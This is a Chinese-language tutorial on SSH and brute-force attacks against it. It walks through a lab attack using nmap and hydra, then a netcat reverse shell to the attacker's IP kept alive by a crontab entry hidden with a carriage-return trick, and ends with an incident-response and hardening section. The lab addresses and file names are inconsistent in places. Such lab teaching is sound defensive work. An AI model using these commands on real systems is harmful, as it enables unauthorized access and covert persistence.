SSH爆破
目录一、SSH是什么
SSH(Secure Shell,安全外壳)是一种网络安全协议,通过加密和认证机制实现安全的访问和文件传输等业务。传统远程登录或文件传输方式,例如Telnet、FTP,使用明文传输数据,存在很多的安全隐患。随着人们对网络安全的重视,这些方式已经慢慢不被接受。SSH协议通过对网络数据进行加密和验证,在不安全的网络环境中提供了安全的登录和其他安全网络服务。作为Telnet和其他不安全远程shell协议的安全替代方案,目前SSH协议已经被全世界广泛使用,大多数设备都支持SSH功能。
二、使用SSH的工具
1、Xshell
xshell 是一个非常强大的安全终端模拟软件,它支持 SSH1, SSH2, 以及 Windows 平台的 TELNET 协议。Xshell 可以在 Windows 界面下用来访问远端不同系统下的服务器,从而比较好的达到远程控制终端的目的。
官网: https://www.netsarang.com/zh/xshell/
2、secureCRT
SecureCRT 支持 SSH,同时支持 Telnet 和 rlogin 协议。SecureCRT 是一款用于连接运行包括 Windows、UNIX 和 VMS 的理想工具。通过使用内含的 VCP 命令行程序可以进行加密文件的传输,网工应该很熟这个软件,经常使用它连接设备。
3、 WinSCP
WinSCP 是一个 Windows 环境下使用 SSH 的开源图形化 SFTP 工具客户端。同时支持 SCP 协议。它的主要功能就是在本地与远程计算机间安全的复制传输文件。
4、 PuTTY
PuTTY 是 SSH 和 telnet 客户端,最初由 Simon Tatham 为 Windows 平台开发。用 MIT 许可证授权。包含的组件有:PuTTY, PuTTYgen,PSFTP, PuTTYtel, Plink, PSCP, Pageant, 默认登录协议是 SSH,默认的端口为 22。Putty 主要是用来远程连接服务器,它支持 SSH、Telnet、Serial 等协议的连接。
5、 MobaXterm
mobaxterm 的功能非常全面,几乎提供了所有重要的远程网络工具(比如 SSH、X11、RDP、VNC、FTP、MOSH 等),以及 Windows 桌面上的 Unix 命令(bash、ls、cat、sed、grep、awk、rsync 等),登录之后默认开启 sftp 模式。
官网: https://mobaxterm.mobatek.net/
6、 FinalShell
FinalShell 是一体化的服务器网络管理软件 (java 语言编写),不仅是 ssh 客户端,FinalShell 还是功能强大的开发、运维工具,充分满足用户的开发运维需求。
三、常见的端口对应服务
端口号 | 服务 |
---|---|
21 | 21端口主要用于FTP(File Transfer Protocol,文件传输协议)服务。 |
22 | ssh 服务,传统的网络服务程序,SSH的英文全称是Secure SHell。通过使用SSH,你可以把所有传输的数据进行加密,这样“中间人”这种攻击方式就不可能实现了,而且也能够防止DNS和IP欺骗。还有一个额外的好处就是传输的数据是经过压缩的,所以可以加快传输的速度。SSH有很多功能,它既可以代替telnet,又可以为ftp、pop、甚至ppp提供一个安全的“通道”。 |
23 | 23端口主要用于Telnet(远程登录)服务,是Internet上普遍采用的登录和仿真程序。 |
25 | 25端口为SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)服务器所开放,主要用于发送邮件,如今绝大多数邮件服务器都使用该协议。 |
53 | 53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最为广泛。 |
67、68 | 67、68端口分别是为Bootp服务的Bootstrap Protocol Server(引导程序协议服务端)和Bootstrap Protocol Client(引导程序协议客户端)开放的端口。 |
69 | TFTP服务,TFTP是Cisco公司开发的一个简单文件传输协议,类似于FTP。 |
79 | 79端口是为Finger服务开放的,主要用于查询远程主机在线用户、操作系统类型以及是否缓冲区溢出等用户的详细信息。 |
80 | 80端口是为HTTP(HyperText Transport Protocol,超文本传输协议)开放的,这是上网冲浪使用最多的协议,主要用于在WWW(World Wide Web,万维网)服务上传输信息的协议。 |
99 | 99端口是用于一个名为“Metagram Relay”(亚对策延时)的服务,该服务比较少见,一般是用不到的。 |
109、110 | 109端口是为POP2(Post Office Protocol Version 2,邮局协议2)服务开放的,110端口是为POP3(邮件协议3)服务开放的,POP2、POP3都是主要用于接收邮件的,目前POP3使用的比较多,许多服务器都同时支持POP2和POP3。客户端可以使用POP3协议来访问服务端的邮件服务,如今ISP的绝大多数邮件服务器都是使用该协议。在使用电子邮件客户端程序的时候,会要求输入POP3服务器地址,默认情况下使用的就是110端口。 |
111 | 111端口是SUN公司的RPC(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系统中不同计算机的内部进程通信,RPC在多种网络服务中都是很重要的组件。 |
113 | 113端口主要用于Windows的“Authentication Service”(验证服务)。 |
119 | 119端口是为“Network News Transfer Protocol”(网络新闻组传输协议,简称NNTP)开放的。 |
135 | 135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。 |
137 | 137端口主要用于“NetBIOS Name Service”(NetBIOS名称服务),属于UDP端口,使用者只需要向局域网或互联网上的某台计算机的137端口发送一个请求,就可以获取该计算机的名称、注册用户名,以及是否安装主域控制器、IIS是否正在运行等信息。 |
139 | 139端口是为“NetBIOS Session Service”提供的,主要用于提供Windows文件和打印机共享以及Unix中的Samba服务。在Windows中要在局域网中进行文件的共享,必须使用该服务。 |
143 | 143端口主要是用于“Internet Message Access Protocol”v2(Internet消息访问协议,简称IMAP)。 |
161 | 161端口是用于“Simple Network Management Protocol”(简单网络管理协议,简称SNMP)。 |
443 | 443端口即网页浏览端口,主要是用于HTTPS服务,是提供加密和通过安全端口传输的另一种HTTP。 |
554 | 554端口默认情况下用于“Real Time Streaming Protocol”(实时流协议,简称RTSP)。 |
1024 | 1024端口一般不固定分配给某个服务,在英文中的解释是“Reserved”(保留)。 |
1080 | 1080端口是Socks代理服务使用的端口,大家平时上网使用的WWW服务使用的是HTTP协议的代理服务。 |
1755 | 1755端口默认情况下用于“Microsoft Media Server”(微软媒体服务器,简称MMS)。 |
4000 | 4000端口是用于大家经常使用的QQ聊天工具的,再细说就是为QQ客户端开放的端口,QQ服务端使用的端口是8000。 |
5554 | 在今年4月30日就报道出现了一种针对微软lsass服务的新蠕虫病毒——震荡波(Worm.Sasser),该病毒可以利用TCP 5554端口开启一个FTP服务,主要被用于病毒的传播。 |
5632 | 5632端口是被大家所熟悉的远程控制软件pcAnywhere所开启的端口。 |
8080 | 8080端口同80端口,是被用于WWW代理服务的,可以实现网页 |
四、模拟SSH爆破攻击
攻击机IP:192.168.130.131(root)
靶机IP:192.168.130.133(luo)
以下是攻击步骤:
攻击机IP:192.168.130.132(root)
靶机IP:192.168.130.133(kali)
1、信息收集
使用NMap扫描靶机主机端口,
nmap 192.168.130.131
,发现开启了22号端口,可以尝试爆破
2、爆破SSH
使用hydra进行爆破:
hydra -L users.txt -P password.txt ssh://192.168.130.133
或者使用其他工具爆破,如:msf、美杜莎
Hydra也叫九头蛇,是一款开源的暴力PJ工具,集成在kali当中。
hydra的相关用法如下:
- -l 指定用户名
- -p 指定密码
- -L 指定用户字典
- -P 指定密码字典
- -e
- n null,表示尝试空密码
- s same,把用户名本身当做密码进行尝试
- r反向,把用户名倒叙,当做密码进行尝试
- -vV 显示执行细节
- -o 保存执行结果
- -s 指定非默认端口
- -C 指定所有格式为“user:password”的字典文件
- -M 指定破解的目标文件,如果不是默认端口,后面跟上“:port”
3、SSH登录
在爆破出用户名和密码后,使用SSH远程登录靶机,使用命令
ssh luo @ 192.168.130.133
用户名 登录在
4、尝试创建隐藏计划任务
vim编辑器:文件存在会对文件进行编辑,文件不存在会创建文件
进入/tmp
目录,使用vim
命令创建task.sh文件,文件内容为:
!/bin/bash
nc 192.168.130.131 7777 -e /bin/bash
命令的意思是:使用bin.bash里面的shell,用nc命令反弹shell,反弹到攻击机的7777端口,-e代表需要执行的指令,这里是要执行/bin/bash。
输入ls -l tash.sh
命令,查看文件可执行权限。发现文件权限为:-rw-r--r--
,可读可写,但是没有可执行权限,因此需要添加命令chmod +x tash.sh
。
创建create_tash.sh文件,向里面写入如下内容:
(crontab -l;printf "* * * * * /tmp/task.sh;\rno crontw-wab for'whoami'%100c\n")|crontab -
命令的意思是:-l 查看计划任务。输出* * * * *,每隔一分钟执行tmp下面的tash.sh文件。\r是换行符。其余后面的参数都是计划任务。
另外,此处也需要添加执行权限,使用命令chmod +x create_task.sh
。
5、尝试nc连接目标主机的shell
重新打开一个终端,输入nc -lvp 7777
命令后,等待了很久,发现没有反应,后来发现是没有开启计划任务,于是我们进入上一个终端输入./create_tash.sh
命令启动任务计划。最后连接上了靶机。
思考:为什么以及获取到用户名和密码还要创建任务计划反弹shell呢?
为了权限维持,当靶机修改密码或关机后,使用用户名和密码我们会连接不上,而计划任务则可以保持连接
五、SSH爆破的应急响应
换了一台虚拟机,因此IP与上面的不一样,大致看下内容就好了哈。
假如我们发现自己被攻击了,那么应该如何查看,并处理呢?
1、查看是否被攻击
输入netstat -antpl
查看进程的状态,发现有一个外来的IP通过bash连接到我的主机。
输入pstree -p
查看进程树。发现有一个PTD为2300的计划任务,我们自己没有创建这个任务,因此可能是被黑客给利用了。
输入systemctl status 2300
查看该进程的状态。发现通过计划任务执行了bash/tmp下面的task.sh文件。
2、查看计划任务
输入crontab -l
查看计划任务的具体位置,没有发现,可能是隐藏的计划任务。查看/var/spool/cron/crontabs
下的任务。使用cat -A root
或者cat -vET root
可以看到隐藏内容,或者vim root
直接编辑也可以看到具体任务的内容。
查看恶意文件的上传信息以及内容。
查看登录成功的日志(last -f /var/log/wtmp
)和登录失败的日志(last -f /var/log/btmp
),可发现密码已经被爆破了。
3、处理
删除恶意任务计划crontab -r -u root
。
杀掉恶意进程(kill 2300[进程PID]
),删除恶意文件task.sh、create_task.sh,修改账号密码。关闭root用户的远程连接权限vim etc/ssh/sshd_config
修改PremitRootLogin为no
,增强权限控制。修改ssh默认端口vim /etc/ssh/sshd_config
将22端口修改成其他端口,并将#删掉。